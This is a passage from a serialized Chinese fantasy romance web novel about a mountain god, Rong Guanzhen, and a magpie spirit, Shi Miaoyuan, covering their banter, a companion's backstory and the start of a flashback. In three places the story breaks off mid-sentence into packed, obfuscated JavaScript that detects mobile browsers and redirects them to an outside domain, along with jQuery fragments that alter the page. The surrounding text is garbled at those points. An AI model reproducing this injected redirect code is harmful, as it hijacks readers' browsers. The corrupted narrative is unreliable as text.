“我可不傻,我是荣老爷座下最得力的护法!”时妙原高傲地仰起了头颅,“当初要不是我及时赶来,现在事情会变成什么样我可都不敢想!你就说我是不是很关键吧!不过荣老爷啊,臣妾还有一事不明,既然你的视力已经恢复了,我这脑袋也被您开了遍光……那以后我是不是随便拿块红布遮上脸,就能偷看到你的保险箱密码啊?” 荣观真差点气笑:“说得你好像你现在花我的钱少了一样。我都不好意思提,但你这也太能吃了吧?你知道银行客服给我打了几个电话吗?他们都在问我是不是卡被人盗刷了!” “那咋地!我拖着一大家子人飞了那么久,给我吃点东西补补难道能要你的命?”时妙原理直气壮地说,“不是你要我随便刷的吗!荣老爷家大业大,不至于给我吃两口饭就破产了吧!” “要不了,不怎么!我钱多得花不完可以吧?你别废话了,你还是继续吃吧!” “切,这还差不多。” 门铃叮咚响起,酒店侍应生推着一辆巨大的餐车走进了屋内。时妙原鱼跃而起冲到餐车前,从里面依次拿出了四瓶可乐三碗沙拉两盒可乐糖一碗阳春面和半只乳猪肘,以及半块香气扑鼻的马苏里拉芝士蛋糕。 荣观真大受震撼:“这是你的晚饭吗?” “晚饭?晚饭刚吃过了,这是夜宵。” 侍应生一走,时妙原便捧着阳春面大快朵颐了起来。不过他并没有吃独食,而是往荣观真的空酒杯里也倒了几根面条。就几根而已。 “……”荣观真默默喝面。 时妙原光速消灭汤面,又立刻投入到了和猪肘的搏杀中去。荣观真眼见他越吃越欢,纠结了半天还是没忍住问道:“还有呢?你就没别的想问我的了?” “唔,没啥的问……唔呼!香香!我其实也就只有一个问题。”时妙原一边大叹猪肘一边说道,“你能给我讲讲那孩子的事情么?” “你指的是?” “哇烫烫烫!呼,呼……我是说舒明。” “你很想知道他是谁?”荣观真问。 时妙原沉吟道:“还好吧!嗯,也就只有,一点点点点而已?” “恕我直言,他是谁和你有什么关系吗?” “我刚请你吃东西了,你不肯回答就吐出来。” “那是拿我的钱买的好不好?!” 荣观真还想再反驳几句,嘴巴还没来得及张开,就被时妙原塞了半颗水果玉米。 “怎么样,还合口味不?”时妙原嬉皮笑脸地问,“这玩意儿应该在你们马的食谱上吧?” “老子不是马。” “灵体嘛,差不多啦差不多啦。” 荣观真艰难地咽下玉米粒,犹豫片刻后他说道:“如果你真的很好奇的话,那我就告诉你好了。舒明是……我的接班人。” 时妙原点头:“哦,这个听出来了。” “不出意外的话,他本来应该是下一任空相山神。至于那片羽毛,它就是那个意外。我曾经亲手杀过一个人,他在死前说……只要能找到他留下的十枚金羽,他就能重新回到人间。” 51.孰以舒明(三) 时妙原吃完蔬菜沙拉,给自己开了罐冰可乐。 他问荣观真:“找到金羽就能让他复活,那你去找了没有呢?” 荣观真摇头道:“这个无可奉告。” “无可奉告那就是找了。” “是又如何。” “不如何,觉得有意思。”时妙原咬着吸管说,“那孩子是怎么来的?他是你亲生的不?你能把山神之位传给他,难道说他是……你和嫂夫人爱情的结晶?” 荣观真说:“嗯。” “嗯……嗯嗯嗯嗯嗯?”时妙原坐直了起来,“嗯是什么意思?” 荣观真瞥了他一眼,淡淡地说:“舒明是杏子。” “杏杏杏杏杏子?” “我年轻的时候,曾经和我爱人一起种过一棵树。”荣观真出神地望向了玻璃杯中残余的酒水,“就是香界宫里的那棵,你之前应该见过的。舒明是杏树的灵,他是在大概七八年前出现的。我小的时候,我母亲也是用类似方法造出的我。” “啊……” 原来是小杏子吗?时妙原冒了一身冷汗:怪不得那死孩子跟他这么自来熟,怪不得他好像第一眼就认出了他,那还是他给的杏子呢!怎么说也是该认主的吧。 他压下内心疯狂翻涌的疑问,佯装镇定问道:“那,那你的意思是要让小杏子取代你咯?” “我本来就是这么打算的,这也算是山里的规律吧。”荣观真点头道,“神力更迭终有竟时,说到底我也不过是被山选中的角色而已。沧海会变成桑田,神仙也不可能一直存续,远古时期天地变迭和缓,山神之位不会轻易易主,但到了近代,最多也就只能撑个四五千年就该换人了。” “这样啊……” “嗯,有经验的山神会提前为自己提前选好接班人,这一步过程十分重要,如果不做好万全准备,到时候就会出现很严重的后果。”荣观真严肃地说,“我从很早之前就开始物色人选了,我觉得舒明适合,就想着让他预先做些准备。但现在看来可能我的方法有点不对,让他产生了抵触。” 就只是方法有点不对而已吗?时妙原将吐槽压到心底,继续问荣观真道:“那舒明又和金羽有什么关系呢?” “你想知道吗?” 荣观真放下酒杯,半倚在沙发上翘起了二郎腿。 “我偏不告诉你。”他笑着说,“虽然其实和你说也无伤大雅,但是我就是单纯不想而已。因为你对我有所隐瞒,除非你向我交代你的底细,否则我是不会和你讲其他事情的。” 时妙原哂笑道:“荣老爷这话说的,我就是只喜鹊,我能有什么惊天动地的背景啊。” “荣老爷!” 身后传来孩子气的呼唤,关亭云和关居星蹦蹦跶跶跳下楼梯,像两阵小旋风似地跑到了荣观真面前。 “老爷,遥英哥哥醒了,他刚才和承光叔在讲悄悄话,不给我和居星听。”关亭云乖巧地汇报道,“不过他现在已经准备好了,他说只要您方便,他随时都能和您单独聊聊。” 荣观真点点头,从果盘了摸出两颗可乐软糖,递到了他们手里。 “谢谢老爷!”“老爷真好!”小护法们乐不可支地接过了糖果。 “哎哎哎,这可是我买的啊,你们咋不谢我呢?”时妙原佯装震怒道,“整天就知道老爷小爷中爷大爷的,信不信哪天我趁你老爷不在偷偷把你们装麻袋里扔出去卖掉!” 关居星斜了他一眼:“就你还扔我呢,你身上连半个子儿都没有,去找人贩子都得嫌你寒酸!” “嘿你这小兔崽子——” “都别闹了,楼上还有病人。”荣观真站起了身来,“亭云,居星,你俩这几天辛苦了,等下可以到外面玩一玩。这不还有两罐可乐吗?拿着去喝吧。还有那个谁,你现在要是有时间的话,可以去陪遥英说说话。” “为什么是我?”时妙原指着自己问,“我跟他又不熟。” “我要去找荣承光那傻子谈谈心,遥英刚醒,需要有人陪。” “哦,那好吧。” 荣观真挑起半边眉毛:“怎么,你好像对这个安排很有意见?” 时妙原撇了撇嘴:“我想你陪我来着。” “噫————”关居星拉着关亭云就跑,“亭云,咱们快走!此地不宜久留!再待下去俺要不能呼吸了!” “哎哎哎,居星!你别扯我——” 小护法们才跑开,荣承光正好走下了楼梯。他的脸色苍白、脚步虚浮,眼眶还红得吓人。只这么几天没见,时妙原就觉得他看起来苍老了很多很多。 见到他来了,荣观真起身走向阳台:“到那儿去聊吧。” 时妙原悄悄扯了扯他的袖管:“有话好好说,别轻易动手哈。” “知道了,我自有分寸。” 荣观真带着荣承光离开了。 客厅里又只剩下了时妙原一个人。 阳台上的交谈声很小,时妙原竖得耳朵都快抽了筋,也听不见他们具体说了什么。 “他大爷的,把老子防得跟孙子似的。”他骂骂咧咧地从冰箱里掏出两颗苹果,装在口袋里一颠一颠地上了楼。 遥英的房间在二楼最里侧,时妙原到了门口,正犹豫要不要敲门,就听见屋里传来了一声:“请进。” 他一进门,遥英便露出了惊喜的神情:“是你!你来陪我啦。” “嗯哼,他们叫我来看看你。” 时妙原环视四周,只见屋里被打扫得十分整洁,遥英的状态看起来也还算不错。他拉了张椅子坐在床边顺手削起苹果,他的动作又快又利索,不过半分钟时间,那颗红润饱满的山东糖心苹果就只剩下了一簇光秃秃的果核。 “……” 时妙原讪讪低头,果皮上倒还沾着有不少果肉,可惜的是,它们都已经进了垃圾桶。 “对不起啊,我之前没干过这活。”他老老实实地说,“以前都是别人给我弄好的。” “没事的,核也能吃。”遥英从他手里接过了苹果的残骸,“你看,上面还是有一点肉的。让我尝尝……哦!味道很甜。” “这你也能吃得下去啊?”时妙原面露难色,“你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205729|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你也太逆来顺受了吧!” 遥英笑了一下,他正要再说点什么,突然闷哼一声捂住了心口。 “唔……!” “你没事吧!”时妙原当即大惊失色,“你的伤还没好吗?你等等!我去叫荣承光过来!” 遥英立刻抓住了他的胳膊:“不用!别告诉他!我只是……呼,我只是还有点……没缓过来。一阵一阵的而已。我没事,承光他们有要事得谈,我不想打扰他。” 他深呼吸几下,对时妙原重新露出了笑容:“我现在好了。” “遥英啊,虽然这话轮不到我来说哈,但你之前是怎么想的要替荣承光挡箭啊?”时妙原没忍住数落了起来,“你是人,他是神,他就算脑门上挨百八十刀都不一定会有事,你死了可就是真没了!你长点心好不好?” “这个道理我也知道,但……你就当我是习惯使然吧。”遥英抱歉地说,“我做惯了他的护法,为他排忧解难是我的本职,虽然我清楚其实他根本就不需要我来保护,不过我就是总控制不住我自己。” 时妙原没好气地问:“那傻子到底有啥魅力啊?能让你为他做到这种程度。” 遥英挠头道:“你要问我原因的话,我其实也说不上来缘由。不过承光的性格其实还挺好的啦!他就是……偶尔,有时,极个别时候,呃,比较容易炸毛。” “他那性格还好?照这么说明天荣观真就能当情感电台主持人你信不信!” “真的!我没骗你,第一次见到他的时候就是这么想的!” “对哦,我从之前就在纳闷了,你和荣承光是怎么认识的啊?”时妙原好奇地问,“你们俩看起来完全不是一路人,你怎么倒霉催的和他凑到了一块儿去?” “嗯……你问这个的话……”遥英陷入了沉思,“因为他救过我一命。” “说来惭愧,其实我从小家里条件还算不错,只是从我记事开始,我父亲就一直每日打坐念经、沉迷修行法术。我小时候不懂这些,只知道他和妈妈总是吵架,而我呢只读了几天书就再也没能回学校了。终于有一天妈妈走了,我也受不了他跑了。我记得我跑出门的时候天还没有亮,等我终于停下来的时候,太阳已经挂在了我的头顶上。” “我跑到了山里,一时间找不到出口,心想继续走下去最坏也不过被野兽吃掉,回家了可绝对没好日子过,就继续走了下去。走到江边我终于没了力气,就找了块石头坐下,在那儿打水漂玩儿。” “你打过水漂没有?”遥英问时妙原,“就是把石头片子拿手里,找准角度扔出去,要是技巧得当,可以在水面上飞好远好远的距离。” “没有,我平时只会把石头扔到瓶子里弄水喝。”时妙原挠了挠头。 遥英哈哈大笑:“其实我以前玩得也不是很好!我扔的石子要不然就飞不了太远,要不然干脆就直接沉到了水底。不过反正我当时没事儿干,就一直扔一直扔,从白天扔到了夜里,又从傍晚扔到了天亮,那天我不知道扔了多少石头进去……直到承光从江里跑出来,劈头盖脸地臭骂了我一顿。” 52.孰以舒明(四) 时妙原揶揄道:“我猜他肯定是觉得你打扰到他了。” “那倒也不是。”遥英尴尬地摸了摸鼻子,“他生气是因为我打水漂技术太烂了。” “哈啊!也挺符合他的风格。” 遥英拿来水果刀和剩下的那颗苹果,一边削皮一边慢条斯理地说道:“我还记得他当时骂我,说他活了几千年,还是头一回见到扔个石子都扔不明白的人。骂急了他亲自上手,夸夸夸夸飞了三四十片石子出去,给江里头的鱼砸得那叫一个鸡飞狗跳。他看我看傻了,就很得意地跟我说:‘怎么样,你承光爷爷厉害吧?我告诉你老子是水神!这整条东阳江都归我管,你见了我还不磕头?小心我把你全家吞肚子里面吃掉!’” 他削好苹果,切成两瓣,把稍大些的那块递给了时妙原:“然后你猜我怎么回他的?” 时妙原啊呜一口咬掉苹果:“你说你巴不得他把他们都吃了?” “那没有!我那时候虽然还小,但家里头濡目染的,大概也猜得出他是什么来头。所以我当时抱着他的大腿就不撒手,我问,你是承光老爷吗?求求你救救我吧!我给你当护法,我给你做牛做马!我不想再回家了,我回去一定会被打死的!他可能是被我磨得烦了,到最后不仅真的收了我,那天还陪我打了一下午水漂。” “我看他就是自己想玩了。”时妙原断言道。 “可能吧,但当时的他对我来说真的就是救命恩人。”遥英怀念地说,“那天如果没有他,我应该就要死在林子里了。他给我吃给我穿,教我法术还送了我好多好多的法宝。他后来甚至还送我回去上学了,那时候在学校根本就没人敢惹我,因为班里同学都说,我哥是个染红毛戴墨镜还开大摩托扯金链的地头蛇恶霸。” “他还染过红毛?”时妙原想象了一下那个画面,别说,这发色好像确实很适合荣承光。 “他就差没直接把彩虹桥纹脑袋上了。”遥英无奈地摇了摇头,“说实话,有时候我觉得他确实得提升一下审美……但反正,我说这些是想表达,承光他虽然很小孩子气,也总是惹出事端,但他真的是一个很好很好的神。我也听到了那个徐知酬说的话,我不相信承光会为了一己私欲害人,更不觉得荣老爷包庇他的错误。以他的性格,如果承光真的做了什么坏事,他绝对第一个大义灭亲。” 那这倒确实。时妙原腹诽道:毕竟他当年就是这么对我的。 遥英不知从哪抓了把糖果出来:“吃梅子糖吗?” 时妙原顿时双眼放光:“吃!不过你哪来的糖果?” “承光喜欢吃糖,我随身总是会带些。” “你这也太惯着他了吧!” “还好吧,和他给我的东西相比,我这些根本就不值一提。”遥英往自己嘴里扔了颗梅子糖,他边嚼边问时妙原:“常兄弟,你觉得荣大哥是个怎样的人呢?” 时妙原愣了一下:“你说荣观真?这事儿怎么又扯到他身上了?” “我看你们关系不错,心里难免有点好奇。”遥英坦率地说,“我刚认识大哥的时候,他和现在……很不一样。这次见面我感觉他比以前开心多了,我总觉得是因为有你在身边,他才会慢慢好起来的。” “是因为我吗?哎呀!我不觉得我有什么特别的啦。”时妙原难得有些脸红,“我那什么,我也是才认识他没多久!可能我屁话比较多,这个基数一大,就总有几句能符合他心意吧!” “哈哈哈!常兄弟真是个很有趣的人!” 遥英正笑着,荣观真推开门走了进来。 荣承光紧随其后,他见到遥英坐起来了,快步走到床边扶他躺了下去:“好好休息吧,别说太多话。” “好哦。哦对了,这个给你。”遥英一股脑往他手里倒了好几颗梅子糖。 “接下来几天你就先在这儿陪着遥英吧。”荣观真对荣承光吩咐道,“之后的行程我来安排,等准备好了我会通知你的。” “之后还有行程?”时妙原好奇地问,“咱们不回香界宫吗?” “先回,但之后我们要去克喀明珠山。” “克喀明珠山?”时妙原瞪大了眼睛,“你的意思是,是……我们要进藏,去高原,上雪山?!” “对,我们刚才联系了贡布达瓦,他说他根本就不知道有山羊这号角色,也想不通除了他以外怎么还有人能操控重身水。”荣观真捏着眉心说道,“他想请我们亲自过去谈谈,这样以来,我们也能自己在当地找找线索。” 时妙原惊讶地问:“真是稀奇了,贡布达瓦他不是几乎从来不出山的吗?你们是怎么聊天的,千里传音?还是灵识互通?你们山神之间不会有什么特殊感应之类的东西吧?你是咋联系到他的啊?” “……发微信啊,不然呢?” “哦。” 荣观真点开视频号页面,一个默认头像、昵称乱码的用户进入了时妙原的视线中。此人账号内有数千条视频,其中大多是雪山、牦牛和羊群的俯拍。他顺手点开一则视频,听到了雪山之巅呼呼悠悠的风声。 画面的节奏太慢太单调,时妙原才看了几秒,注意力就很快被荣观真胸口的挂坠吸引了过去。 “你怎么还戴着这个,不是都看得见了吗?”他指着那木雕神像好奇地问。 “这是我的东西,我想怎么戴就怎么戴。”荣观真收回手机,把挂坠塞回了领口里。“怎么,你自己给我的,难道还想收回吗?” “启禀老爷,那不敢的。咱什么时候去雪山啊?” “下周吧,让遥英先休养休养,我也回香界宫稍微做些准备。上雪山可能会有点辛苦,说实话我也不是很信任贡布达瓦。不过我还叫了另一位帮手,等到了当地会和我们汇合。”荣观真说。 “谁?” “东越山山神,施浴霞。” 遥英本来已经躺下了,闻言立刻震惊地抬起了头:“施奶奶也要来?看来这件事真的十分严重了……” “是的,我方才和承光盘算了一下,这山羊怪的来历绝对没有那么简单。”荣观真清了清嗓子,说:“它有金顶枝。” “金顶枝?” 荣观真点头道:“是的,那是一种能致幻致眩的邪物,我们在水底见到的虚像,应该就是出自它手。多年前我曾去查找过它的下落,还把它带回了蕴轮谷,但后来它不翼而飞,我猜金顶枝恐怕就是落到了那山羊手里。不然,我们断不会在水底如此狼狈。” 他解释完,转身对时妙原说道:“来吧,和我去收拾东西,等下我们就回香界宫。” “哦,哦。”时妙原乖巧地随他走出几步,突然一拍脑门道:“坏了!忘了件大事!那个杜政去哪里了啊?我靠我完全不记得他了,他不会……” “我把他送回去了。”荣观真推开门,示意时妙原先出去。“我消去了他的记忆,他最多只会以为自己做了个梦。只不过梦里又是遇到了百年一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是《东江祀》的剧组成员。 “杜导刚才突然告诉我,要把编剧的署名还给我。”其中一个短头发的女孩儿说。 她的同伴十分惊喜:“哎哟?这么好!他咋突然转性了?之前不是死活嘴硬说这是他一个人的作品么?” “谁知道呢,老东西阴晴不定也不是一两天了。” “我听说好像是因为他撞邪了。”另一位卷发的女孩儿神秘兮兮地说,“他梦见了鬼。” “撞邪?这世上还能有比他更邪门的东西?” “不知道,反正场记告诉我,说大概就前几天晚上吧,杜导梦到了一个白衣鬼。那个鬼长得又高又瘦,脸上还贴着张破破烂烂的红纸,它说要他赶紧归还不属于他的东西,否则他就会下地狱进油锅,不仅不得好死,以后也不得解脱!” “这么吓人!不会是阴差来索他的命了吧?” “我觉得是妖精也不一定。” “你说,会不会是他的仇家给他下了降头?” “那嫌疑人可就多了……” 电梯门打开,女孩们有说有笑地进走了进去。时妙原扭头望向荣观真——此君脸上虽没有任何表情,但时妙原就是觉得,他现在的心情好像……非常非常愉快。 53.孰以舒明(五) 蕴轮谷,香界宫。 纵使有神力传送,他们还是到临近午夜的时候才回到行宫。荣观真一踏出传送阵就得到了植物们的热烈欢迎,小喜鹊在半空中连连打转,就连菩提果兴奋得在原地绊了好几跤。 比小花小鸟小果子们更激动的是关亭云和关居星,他们一落地就开始撒欢,不出三秒钟,就连影子也看不见了。 “终于回家了!啊啊啊!我下次再也不要去承光叔那玩儿了——!” 小护法们绝尘而去,荣观真把行李丢给菩提果,随意交代几句后也不知去了哪里。 “不是,怎么就把我扔下来了?” 时妙原抱怨无果,最终还是乖乖随菩提果回到了房间。等到他终于把自己洗漱干净收拾利索了,就连猫头鹰也已经进入了梦乡。 夜风清凉,床铺松软。四下寂静无人,窗外时不时传来断续的虫鸣。他抱着枕头在床上滚来滚去,滚去滚来,还是按捺不住寂寞,拍拍手唤了只菩提果出来。 这次来的果子看着面生,似乎并不是上次引他去见舒明的那位。它长得更圆、更润,更白胖许多,看样子,这小家伙平时没少善待自己。 “喂,小胖墩,带我去见你老爷。”时妙原捏着它的小胖手说,“我要找他睡觉。” 菩提果面露难色。 见它不肯答应,时妙原指着窗户威胁道:“你要是不带我去找荣观真,我现在立刻就从那儿跳下去。别怪我没警告过你,我可是你家老爷的心头宝,我要是摔死了,他能把你们全切吧切吧煲成老火靓汤!” 这恐吓果然奏效,菩提果立马连滚带爬地跑出了门外。 夜间的香界宫安宁无比,只可惜时妙原踢踏拖鞋的声音打破了这份宁静。他随着菩提果四处流蹿,约莫半小时后,他发现自己居然被带到了聆辰台附近。 聆辰台边上有一栋依山而建的木楼,这楼约有三层,外表极为低调,不仔细去看的话,很容易会把它和山混为一体。 菩提果跑到楼前,在原地蹦跳几下,时妙原的眼前便出现了一道可供一人穿行的光隙。 “荣观真就住这儿吗?”他问。 那果子紧张地点了点头,它目送着时妙原进入光隙,然后立马头也不回地跑开了。 进入木楼内部之后,时妙原只感到一阵恍惚。 “居然是这里啊……”他一时间竟有些出神。 他知道这个地方,这儿叫寻香洞。 亭台楼阁,小桥流水,熏香花丛,柳枝依依。古典园林中常见的景象,竟然都在这寻香洞中得到了复现。 时妙原仰头望去,只见天花板上缀满了由珠玉缔造的星空,盛放的黄姜花簇拥着一条木质的廊桥小道。 道路两旁摆放着许多石制造像,它们的大小不一、姿态各异,共同之处在于其脸部都是一片空白。他闭眼感知了一会儿,发现这些石像里面似乎都藏有些许神识。 一叶粉蝶落上他的肩头,很快又扑扇翅膀向寻香洞深处飞了过去。时妙原随着它一路行进,走到尽头时,他看见了两扇古朴的推拉门。 这应该就是荣观真住的地方了。 卧室门没有关严,荣观真却不知去了哪里。时妙原鬼鬼祟祟钻进屋内,只见里面仅有一张被掩在帘后的大床,和一套老旧的红木桌椅。 桌上放着几块点心,两大摞尚未开封的卷轴陈列其侧,屋内花香清幽,时妙原和那些卷轴大眼瞪小眼了好一会儿,终究还是没勇气偷偷打开来看看。 “算了,我还是先等他回来吧。”他自言自语道,“但说起来,那小混蛋跑哪儿浪去了?这么晚了还不睡觉,不会是跑外边鬼混去了吧?” “你说谁瞎鬼混呢?” 身后传来一声冷冷的质问,时妙原猛地回头,只见荣观真正面无表情地看着他。 他手里捧着捧着一瓶鲜花,屋内的花香大抵就是从这儿传出来的。他在这儿看了多久?时妙原汗如雨下,他还没来得及开口辩解,荣观真便放下花瓶,向前几步抓住他的手腕,用力把他扔到了床上。 “哇你干什么!” 时妙原像颗皮球似地在床上弹跳了好几下——还好,他的屁股似乎并不是很疼。 岂止不疼,甚至还有些舒适。 “这……这是?” 他惊魂未定地拍了拍床板,这床看着冷硬,实际上又软又厚,还堆着许多五颜六色的等身抱枕。 其中有毛绒鲨鱼,有云朵玩偶,当然,还有好几只肥嘟嘟胖乎乎,一看手感就好得不得了的玩具小鸟。 真是太阳打西边出来了,荣观真啥时候这么童心大发了?时妙原在错愕,抱枕大王边唰——地拉开帘子,对他摆出了那副标志性的臭脸。 “你,你干嘛!”时妙原梗着脖子喊道,“搞得这么突然,你把我弄疼了!” 荣观真气得眉头直竖:“你还敢倒打一耙?说!大半夜的鬼鬼祟祟跑我屋来做什么?是谁把你带到这边来的?!” “我自己摸过来的!”时妙原脸不红心不跳地说,“我怕黑,我胆小,我有心理阴影,我一闭眼就是那个王八蛋山羊头怪物!那家伙给我吓得不行,老子心灵脆弱不能独处,想找你陪陪我难道很奇怪吗!” “怕黑你就开灯!来找我干什么?我看起来会发电吗?” “我来找你睡觉啊!你难道不想和我睡?” “我看你是脑子在江里被泡进水了才会觉得我愿意和你睡一张床!”荣观真指床铺最里边说,“滚那边去!脚擦干净再上床。一人一半,不许越界!” 时妙原大喜过望。 夜色又深重了几许,但在这与世隔绝的小屋中,时间流逝其实并不是很明显。 灯火闪烁,时妙原摊在一旁抱着玩具鲨鱼打滚,荣观真则半倚在床边翻看卷轴。他一边阅读,一边还时不时从盘子里拿茶点来吃。还没吃几块他发现点心不见了,再抬头一看,就见时妙原腮帮子里塞得鼓鼓的对他笑。 荣观真长叹一声,拍拍手让菩提果又送了好些点心和茶水过来。时妙原即便吃饱喝足了也不安分,他呈大字状平躺在床上,其姿势之不雅,就差直接把腿搭到荣观真头顶上了。 “老爷,荣老爷?”见荣观真读得认真,时妙原忍不住戳戳他问:“你在看什么呀?” “看字。” “哦,这些字讲了什么?” “讲了些很无聊的东西。”荣观真放下卷轴揉了揉眼睛。时妙原匆忙一瞥,在上面看到了“十恶大败狱”这五个字。 他迟疑片刻,问:“这是遥英送过来的吗?” “嗯。” “说起来,我还没问你呢,你头先和荣承光都聊了什么啊?就你让我去给遥英陪床那会儿。” “随便聊了聊。” “哟!还对我保密。” “只是稍微对了对账而已。” 荣观真将卷轴收起来,慢条斯理地说:“他想知道三渎归一之后都发生了什么,我就给他简单讲了几句。我当初虽然封掉了他的神识,但有我母亲的祝福在,他其实从未真正失去过那些记忆。而且他被封印的时候一直在睡觉,所以也就没受太多苦。” “什么封印这么温和,不疼不痒还不闹腾的哦?”时妙原好奇地问,“我以前也听说过一些被镇压的妖怪,就算最终出来了,它们也几乎都要褪半层皮啊。” 他回想起了在徐知酬的回忆中看到的那条蛇。虽然它与荣承光的蛇身有一定出入,但光看它身上那些锁链符咒和伤口,料想也不会好受到哪里去。 荣观真开始闭目养神,他似乎不是很愿意讨论这个问题。时妙原按捺不住寂寞,又探头探脑道:“不过我还是挺意外的,你居然真的愿意让我睡你的房间哎。你现在不赶我走了?嘿嘿,咱俩关系可真好啊!” “你要是想的话,我现在就可以把你扔到无果湖里去。”荣观真淡淡地说。 “那——你哪舍得啊!你宝贝着我呢!” 时妙原边说边扭,在床上拱成了一条巨大的毛毛虫。荣观真睁眼看到他的造型,问:“我看你很有精神啊,你的伤口不疼了?” “嗯?你指的是什么伤?身上的伤我是都好了,至于心灵损失的话你要是对我温柔点我应该也很快就能恢复。” “别跟老子扯淡。我问你在水底受的伤。” “嗨!那铁定是连汗毛都重新长出来了啊!” 为证明自己的强壮,时妙原呼呼哈嘿地对空气打起了军体拳:“这你就小看我了吧荣老爷?我不仅现在不疼,当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215056|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一点感觉都没有的啊!我们鸟妖的忍痛能力可是一流的,就算是小行星砸我脑门上我都不带吭声的我跟你说!” “鸟妖都很能忍痛?” “那当——”时妙原还想满嘴跑火车,一抬头看到荣观真的表情,整个人僵在了原地。 荣观真眉头紧锁。 屋内光线昏暗,灯火在他脸上打下了朦胧的轮廓。光斑落入他的眼中,在那片平静的海中平添了许多波纹。 荣观真一言不发,他的嘴唇轻抿成了一条直线。有关十恶大败狱的卷轴乖巧地躺在他的膝间,他的手搭在上面,带着那薄如蝉翼的纸张微微发抖。 他怎么了? “你真的,觉得无所谓吗?” 荣观真轻声问道:“就算你其实很疼,就算你真的非常难受,就算你完全不想经历那样的痛苦,你也依旧能装得毫不在乎吗?” “我……”时妙原舌头打了结,“我,我的话,其实……” 灯忽然灭了。床帘轻轻落下,荣观真翻了个身,将后背留给了时妙原。 “睡觉吧。” 黑暗中,他的声音听不出任何情绪。时妙原讪讪缩回去,直挺挺地躺在了床上。 这里太安静了。 没有风声,没有雨点,没有花鸟虫鱼的窃语,就连荣观真的呼吸声也轻得像是要随时消失一样。 周围风平浪静,时妙原心中翻江倒海。 啪!眼前突然微亮,荣观真把一盏向日葵形状的小夜灯放到了他枕边。 “你不是怕黑吗。”他说,“这样应该会好些。” “……其实我还很怕冷。”时妙原慢慢挪了过去,“你要不要抱一抱我?” “不要。” “为什么?” “我不喜欢碰陌生人。” “咱俩又不是陌生人呀,之前在水下的时候你不也抱过我么?” “在水下那是不得已。”荣观真摇了摇头,“我有喜欢的人,除了他以外,我不想靠近任何人。” “……” 时妙原躺回去,瞪着天花板看了一会儿,然后又爬起来问:“那那个人是……” “时妙原。” 听到这个名字的瞬间,时妙原恍惚产生了某种,荣观真现在其实是在喊他的错觉。 “那个就是我喜欢的人。”荣观真背对着他说,“我喜欢时妙原,我从很久很久以前开始就认定了他。我喜欢他,忘不了他,至今也依旧放不下他。我曾立誓永远不背叛他,但到头来反而是我将他逼进了绝路。他死后我每天晚上都会梦见他,不过,在他离开我之前,我也几乎没有断过有关于他的梦。如果有得选的话,我不想和除了他以外任何人产生任何关联。” 荣观真说完便翻身下床,放下帘子,抱着卷轴坐回了书桌前。 灯火影影绰绰,他的侧影打在帘上,就像一尊沉默无言的瓷雕。 “这张床留给你,我今晚有事情要处理。”帘外传来了翻阅卷轴的声音,“灯开着,我就在旁边。香界宫很安全,你不用担心会有人来麻烦。” 时妙原喊道:“阿真。” 荣观真的影子顿了一顿。 “怎么了?”他问。 “……没什么。我只是突然觉得,你说的那个人,他以前说不定也这么喊过你。” “是不是都已经不重要了。你睡吧,我不打扰你了。过两天我们一起去克喀明珠山看看情况。” 荣观真不再说话,时妙原抱住他躺过的枕头,把脸深深地埋了进去。 被褥间隐约有花香,那应该是荣观真身上的味道。 这里都是荣观真的气息,这里也都是他身上的味道,这让时妙原觉得他好像被他抱进了怀里,而荣观真本人,也的确就坐在与他仅有一帘之隔的地方。 好熟悉的场景。时妙原想,他是不是在很久以前也经历过这样的事情? 他一直想,一直想,到快天亮的时候,他终于找出了那既视感的源头。 他回忆起来了:大约在两千多年以前,他们也曾有过这样一个彻夜无眠的夜晚。 而在那天的夜幕降临之前,荣观真对他说的第一句话是: “上次在聆辰台,你离开时没有对我说再见。” 54.金顶致知(一) 两千年前,空相山西翼,金云粮道。 岩壁陡峭,驼铃声自天光初乍起便响彻不停。车马经流如织,路上每个人脸上都写满了深重的疲惫。 南风忽急忽徐,它轻抚过一条蜿蜒向西纵横的山道。两侧岩壁陡峭,碎石、枯草与尘埃肩负着满载的货品,指引着人们向远处的雪山走去。在粮道道边一角,金云驿站内外人头攒动不已,车夫与跑马人的吆喝此起彼伏,唯有二楼角落处一张小桌难得稍显清净。 那里坐着一位相貌俊美的男子,他身着黑衣,神情懒散,倚靠在窗边眺望着路上的车马。尘风吹动他的发辫,带出了一阵好听且清脆的珠玉声。 “怎么还没来啊……” 他不耐烦地在椅子里换了个姿势。 桌上的普洱已经变冷,他正想端起来浅尝一口,却听见咚的一声:有人坐到了他对面。 “抱歉哦,我今天有约了。”他正要抬头赶客,那拿捏得恰到好处的笑容却在看见对方时凝结在了脸上:“你是……” “上次在聆辰台,你离开时没有对我说再见。” 荣观真将两把布包的长剑拍到桌上,拿起桌上的茶杯一饮而尽。 